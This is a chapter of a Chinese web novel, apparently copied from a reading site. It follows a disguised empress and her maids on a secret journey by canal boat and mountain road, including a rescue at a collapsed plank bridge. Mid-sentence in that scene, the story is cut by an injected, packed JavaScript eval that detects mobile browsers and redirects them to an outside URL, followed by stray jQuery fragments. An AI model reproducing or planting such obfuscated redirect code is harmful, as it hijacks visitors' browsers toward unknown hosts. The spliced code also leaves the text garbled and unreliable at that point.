43. “娘娘不可!”
作品:《汴梁梦起·听雨》 四月初五,是寇听雨一行人约定秘密出发的日子。
寇听雨前一日已带着青竹和柳儿先行出宫,在城内虹桥码头附近一处客栈住了一晚。
初五日天微亮,寇听雨与两女使乘着马车,扮作出京回大名府娘家给老母亲祝寿的中年商妇,模仿奶娘李妈妈的模样,改变了自己的走路姿态和行为举止。
她们与其他男性护卫和镖师们约定在码头汇合。
寇听雨掀开青布车帘向外看时,漕船正穿过虹桥。
拉车的黑骏马不安地踏着蹄下甲板,这艘“六百料船”本不该载马车,但船头那枚枢密院火漆印让一切不合理变得沉默。
“娘娘放心,”青竹低声道,“车轮已卸下藏在米袋间,便是陈闸官也看不出。”
寇听雨轻点头,看着桥洞阴影掠过马车,在车厢布帘上投下破碎的光斑。
众人登船,白日里人流往来纷杂,寇听雨一行低调躲在舱内,无事不外出,还算顺利度过。
寇听雨松了口气,料想三日的船上行程应是顺利的。
岂知入夜后,困难来临。
官船因避关卡夜泊无名野渡,须发斑白的老船工突然掀帘入舱,眯眼打量她道:“娘子这双玉手,可不像跑商的。”
油灯照出她指尖未洗净的蔻丹……离宫匆忙,凤仙花汁还残留甲缝。
她猛地咳嗽起来,柳儿立刻哭诉:“我家小姐原是扬州盐商嫡女,被大妇所害才贱卖药材为生!”边说边掀开药箱,露出半截生霉的当归。
老船工见状讪笑退出,却偷偷摸向舱外斧头。
寇听雨突然用扬州土话叹道:“早知嫁个艄公,也好过深宅挨鞭子。”语调哀切如真。
老船工手一顿,想起他那被大户逼死的女儿,终扔了斧头,哑声道:“三更潮涨,娘子们莫误了时辰。”
柳儿指尖发颤,见他离去,搓搓手心的汗,转头就看见自家主子娘娘朝她竖起一根拇指,眼带笑意小声赞道:“哎呀柳儿!以往没看出来,你还蛮机灵的嘛!你怎知我会说扬州话?”
柳儿边拍着胸口平复心跳,边抿着嘴儿一乐:“嘿!是我听青竹姐姐提过一嘴,娘娘的少时奶娘是扬州人,青竹姐姐还向她学做许多扬州点心呢!”
青竹立在寇听雨身边,闻言瞧着柳儿:“我不是特意对你提的这话儿,你是打哪听来的罢。”
柳儿一愣,蹙眉转眼珠儿回忆一会儿道:“啊是了,是你与之兰姐姐在小厨房做点心的时候我听见的,我那时只在小厨房做活儿,还没到娘娘跟前呢。”
青竹朝寇听雨点头表示无误,寇听雨连口称赞柳儿:“柳儿啊柳儿!对我的事这么上心,是不是早就想来我跟前啦?”
柳儿近前坐在娘娘脚边仰头虔诚状:“不敢欺瞒娘娘,在宫里谁都晓得娘娘是很好的人,奴婢本来被分到坤宁殿小厨房里时就乐得不得了,招了好些人的红眼呢!”
“后来与之兰青竹姐姐渐渐熟悉,听得一些娘娘的消息,奴婢就想啊,要是能在您跟前伺候,天天能见到您就更好了……”
青竹接过话头道:“呵!是啊!柳儿是个小机灵鬼儿,在小厨房里用着极其顺手,我后来都离不得她了……”
寇听雨笑吟吟:“方才你做得很好,有勇有谋,给你一等功!待咱们日后回宫给你论功行赏!”
柳儿乐得见牙不见眼,识趣儿地先行退至舱门口守着,娘娘与青竹则商讨要事。
寇听雨在宫里做了好些计划,以应变路上会遇到的各种突发,没成想是手上残留的蔻丹叫人看了去,还好她做了准备。
接下来的三日,船舱内平静无波,再无人打探。
*
汴京皇宫,坤宁殿内。
皇后离宫五日后,豢养的金瞳白猫金雪儿突然窜入寝殿,跳上凤榻。
“皇后”之兰下意识缩脚避让,庆寿殿派来侍疾的老嬷嬷眯眼:“娘娘平日最喜抱着这猫儿上榻,今日怎……”
之兰急中生智,抓起猫冷笑:“这猫儿今日胆肥了?我用的这香可是它最不喜的……”
寇宰执“恰好”前来奏事,见状呵斥:“嬷嬷老眼昏花了!没见娘娘要静养?”
金雪儿受惊挣脱逃跑,众人注意力这才转移。
之兰心下突突着,感激地瞥了眼寇宰执……
*
三日后,在商丘郊外一处荒庙,暴雨冲刷着断碑。寇听雨一行在此换装,准备陆路北上。
在官道上顺利走了两日,到达曹州。
曹州乃黄河泛滥区与山东丘陵的过渡带,官道两侧有许多废弃的村落,听退役禁军老何说,大多因黄河改道导致村民迁徙别居的。
过了曹州,路上又遇暴雨,一行人躲进一处官道旁的土岗上的山庙,只因此处地势稍高,暴雨冲刷下只有这个孤岛可见。
众人进庙,却见个布衣妇人搂着啼哭婴儿缩在角落处。
老何顿时拔刀低喝:“荒郊哪来的妇孺?必是匪类!”
寇听雨急忙拦住刀锋,蹲身细看,递出手中干粮。
妇人突然拽住她衣袖哽咽道:“夫人是官家女眷吧?求您带这孩子走……他爹战死在雄州了。”
妇人掌心触到寇听雨袖袋,哗啦啦的金叶子碰撞声叫妇人一愣。
柳儿在旁急扯娘娘袖子,却见娘娘解下袖袋塞给妇人道:“拿去罢,莫说见过我们。”
待她转身决定继续冒雨赶路时,她对老何道:“若那妇人报官……就改走白骨峡。”
老何唉的一声,欲言又止……只因那是一条县志记载的、雨季常塌方的古道,危险得很。
天不遂人愿,寇听雨一行因暴雨耽搁了半日,为避开主官道的盘查,还是要绕道白骨峡才可至目的地李固渡。
暴雨冲刷后的白骨峡,山道半塌,泥浆裹着碎石不断滚落。一行人被迫下马,贴着崖壁前行。
忽听前方一声裂响!
腐朽的栈桥从中断裂,将队伍截成两段。
老何踩空滑倒,半身悬在断桥外,身下是百丈深涧。仅剩的绳索在断桥对岸的死士手中,暴雨中抛掷三次都差那么一臂距离。
柳儿吓得跪地哭求:“娘娘咱们退回去吧!这路是阎王开的!换条路走罢!”
寇听雨抹了把脸,解下腰间绦带,系上老何的刀鞘,将另一端咬在口中,竟贴着湿滑的断桥残木向前爬去。
青竹目眦欲裂:“娘娘不可!”
对岸禁军纷纷解甲衣结绳,吼着军中号子为她助阵。
寇听雨指尖被木刺扎得鲜血淋漓,终将绦带甩到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958505|176881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对岸。
众人拉绳渡涧后,她瘫坐在泥水中,却对抓着她脚踝不敢放脸色惨白的青竹轻笑:“瞧,凤仙花汁混着血,倒比宫里染的更艳呢。”
当夜,众人走出白骨峡北口,天色已迅速暗下来,老何辨认方位,朝寇听雨建议:“夫人,白骨峡东边,有个传递军报的驿站,老何当年来过的。现下因黄河改道废弃了,料想着还有些屋子在,咱们去那儿休整一番罢!”
寇听雨指尖痛得发麻,被青竹小心翼翼地捧着吹,她朝老何点头道:“走罢!”
众人朝东走了约五里,瞧见仅存的几间残屋和塌了的土墙,和一棵被雷击的大枯柳,柳心里头有个巨大的黑漆漆的树洞。
老何持刀防备着走上前察看,围着树转了一圈,突然盯着树干笑着喊道:“哈!这儿有俺们当年约定的记号!这里头可以避险!”
众人走近,将马和车停在塌墙后头藏着,纷纷进入树洞内,老何老王等人在洞内点燃火折子,再次细细察看。
树下残屋土墙虽塌,但地势略高,可眺望李固渡方向的火把动向,老何分派人选巡逻守夜。
青竹提着随行药箱进入树洞,药箱里存有金疮药、艾绒,青竹扶着她坐定后,叫柳儿去残屋前的水井提水。
提来的水看来还算清澈,将手帕浸湿擦掉干涸的血迹,撒上金疮药用艾绒包好。
做事的青竹始终丧着脸,也不看主子一眼,逗得寇听雨难得开口哄她道:“青竹青竹,我好痛呀,你看看我!”
青竹迅速抬眼瞥了眼,瞅见主子脸上脏污似花猫,但依然难掩明媚笑意的模样,复杂的心绪转瞬只剩自责。
寇听雨继续哄她:“青竹青竹,不要生气嘛!情急之下,老何是主心骨,咱们不能抛下他呀!”
青竹闻言,气急:“那也不能让您亲身去救啊!您是什么身份!您要是……我们怎么办啊!他是主心骨,那您是啥?”
寇听雨摸摸青竹气急败坏涨红的脸,哄道:“好啦!我这不是没事嘛!我有分寸的,放心啦!”
青竹眼眶渐红,想着今日可怕的那一幕,后怕地落下泪来。
寇听雨抬起未受伤的手抹掉她的泪,叹道:“是我不对,下次不会了。好吗?不要哭了。”
青竹听此更是触动心扉,控制不住自己猛地嚎啕大哭起来,惊得众人纷纷看她。
老何探察完进入树洞时听到哭声不明所以,疑惑道:“啥?何事?伤着了?”
寇听雨搂着大哭的青竹轻拍她安抚着,另一头朝老何解释:“无事无事,外头如何?周围安全罢?咱们明日一早照常出发濮州吗?”
老何在树洞口边上盘腿坐下,王九随后跟进,朝主子禀报:“是,夫人,明天一大早我们就出发濮州,今夜暂且歇在此处,大伙儿也都累了。您也好养下伤口。”
寇听雨放松了心神点头朝众人道:“好,大伙儿辛苦了,咱们路程基本过半了,再坚持坚持!马车里头还有肉干,大家吃饱了再休息,养足精神,到了濮州住客栈。”
众人齐声应是,对主子的信服达到了一个新高度。
青竹止住哭声只余哽咽,擦了擦脸,与柳儿一边一个挨着主子闭眼休息。
青竹今日受惊,又崩溃大哭一番,累极之下迅速睡了过去……